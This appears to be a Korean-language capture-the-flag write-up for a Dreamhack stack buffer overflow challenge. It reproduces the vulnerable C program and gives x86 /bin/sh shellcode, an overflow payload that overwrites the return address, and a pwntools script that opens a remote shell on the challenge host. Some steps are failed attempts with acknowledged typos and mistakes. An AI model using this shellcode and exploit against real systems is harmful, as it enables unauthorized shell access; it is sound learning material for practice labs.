#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
버퍼 80만 잡았는데 scanf 141까지 받음
buf의 주소 출력도 해줌
뭔 함수 가져오지?
아 buf에 80바이트 이내 쉘코드 제작 -> sfp 더미값 -> buf 주소로 반환
80+4(32비트였던 거 같음)+
익스플로잇 과정이 뭐였지
- 스택프레임 파악
- 함수 주소 구하기, 페이로드 작성
- 리틀 엔디언
- 익스플로잇
이 워게임에서는
- print 함수 내에서 buf 주소값 알기
- 스택프레임 파악
- 쉘코드 제작, 리틀 엔디언, 페이로드 작성
- 익스플로잇
해주면 될듯…?
아래는 라이트업
1. print 함수 내에서 buf 주소값 알기

이부분이 print 호출

0x80머시기는 출력 문자열
printf(“buf머시기%p”,ebp-0x80)인듯
buf 주소 ebp-0x80에 적혀있나봄

print call 중단점 걸고 스택 상황을 봤음
맨 위는 문자열이니까 넘기고 그 아래 0xffffd1f8이 buf를 가리키는듯
2. 스택 프레임 파악

scanf 부분
근데 add esp, 0x8이 뭘 의미하는거임? <- stdcall 호출규약때문… cdecl만 하고 stdcall 대충 했더니 ㅡㅡ;;
이게 sfp인가? 아까 x86-64는 sfp 4바이트라고 하지 않았나?
일단 buf는 80 바이트
스택 정리하면 다음과 같음
| buf(0x80) 이걸 scanf | |
| sfp 0x4 | |
| ret |
3. 쉘코드 제작, 리틀 엔디언, 페이로드 작성
쉘코드 만들어줘야함
25바이트 쉘코드 가져옴
25바이트 쉘코드+55바이트더미+8더미+4더미+ ffffd1f8
ffffd1f8 리틀 엔디언으로 고쳐주면 \xf8\xd1\xff\xff\x00\x00\x00\x00
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+b'A'*0x55+b'B'*0x8+b'C'*0x4+x'\xf8\xd1\xff\xff\x00\x00\x00\x00'
4. 익스플로잇
(python3 -c "import sys; sys.stdout.buffer.write( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+b'A'*0x55+b'B'*0x8+b'C'*0x4+b'\xf8\xd1\xff\xff\x00\x00\x00\x00' )"; cat) | nc host3.dreamhack.games 20371
에러 뜸
나보고 어쩌라고
b를 x로 오타냄
고쳐봄
안됨
페이로드를 잘못쓴건가
다른 라이트업을 참고하여 알아보자…
아 일단 0x4바이트인 것은 sfp뿐만 아니라 ret도 8바이트가 아닌 4바이트로 해줘야 함(뒤에 \x00 넣을 필요 없다는 뜻)
scanf가 읽지 못하는 hex들이 있음 -> r공백 문자들
\x09, \x0a, \x0b, \x0c, \x0d, \x20
scanf 우회 쉘코드 찾아야 함
from pwn import *
p=remote('host3.dreamhack.games',17880)
context.log_level='debug'
p.recvuntil(b'buf = (')
addr = int(p.recvline()[:-2], 16)
payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload+=b'A'* (0x88-len(payload)-0x4)
payload+=p32(addr)
p.sendline(payload)
p.interactive()
